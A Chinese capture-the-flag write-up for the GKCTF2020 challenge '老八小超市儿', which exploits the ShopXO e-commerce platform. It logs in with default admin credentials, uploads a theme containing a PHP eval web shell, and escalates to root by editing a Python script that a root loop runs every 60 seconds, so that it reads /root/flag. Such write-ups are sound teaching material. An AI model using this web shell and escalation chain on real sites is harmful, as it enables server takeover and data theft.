GKCTF2020-老八小超市儿

1. 首页

这道题本就是基于shopxo已有的漏洞,解题思路也就基于此漏洞

2. 访问网站后台

该路径下访问后台:/admin.php?s=/admin/logininfo.html

账户密码:admin/shopxo

进入网站后台文件应用中心里的应用商店找到主题,然后下载默认主题

下载默认主题

3. 上传一句话木马

进入该默认主题文件路径下:\默认主题\default\_static_

写好一句话木马,放到该路径下

1
2
3
4
<?php
@eval($_POST[shell]);
phpinfo();
?>

将该默认主题文件夹压缩,然后

上传主题文件,到网站后台管理的 主题管理->主题安装

安装完成之后,选择这个主题,然后访问路径:/public/static/index/default/shell.php

4. 蚁剑连接

访问flag,不是正确的flag,真正flag在/root路径下

访问flag.hint,提示需要root权限才可

注意到有一个sh可执行文件,权限为0755,从文件名来看应该是某种自动脚本,

打开

1
2
#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

这段脚本的意思是每60秒执行一次中间的python脚本,我们再来看/var/mail/下调用的makeflaghint.py

这段脚本的作用大致是调用某些参数生成/flag.hint文件,所以最终auto.sh的效果是每隔60秒调用makeflaghint.py生成一个flag.hint

5. 权限提升

5.1 payload1

再次查看flag.hint文件,发现刷新了

随着两次刷新,flag.hint更新了,表明auto.sh确实是在后台以root权限执行,那么我们只需要修改makeflaghint.py的内容来获取/root中的flag即可

直接修改makeflaghint.py中内容,使得在flag.hint文件中显示flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))

flag=io.open("/root/flag","r").read()
f.write(str(flag))

f.close()

再次刷新后

5.2 payload2

通过os.system函数将/root下的flag输出到文件中

1
2
3
4
5
6
7
8
9
10
11
12
import os
import io
import time

os.system("cat /root/flag>/1.txt") #将flag输出到1.txt文件中

gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()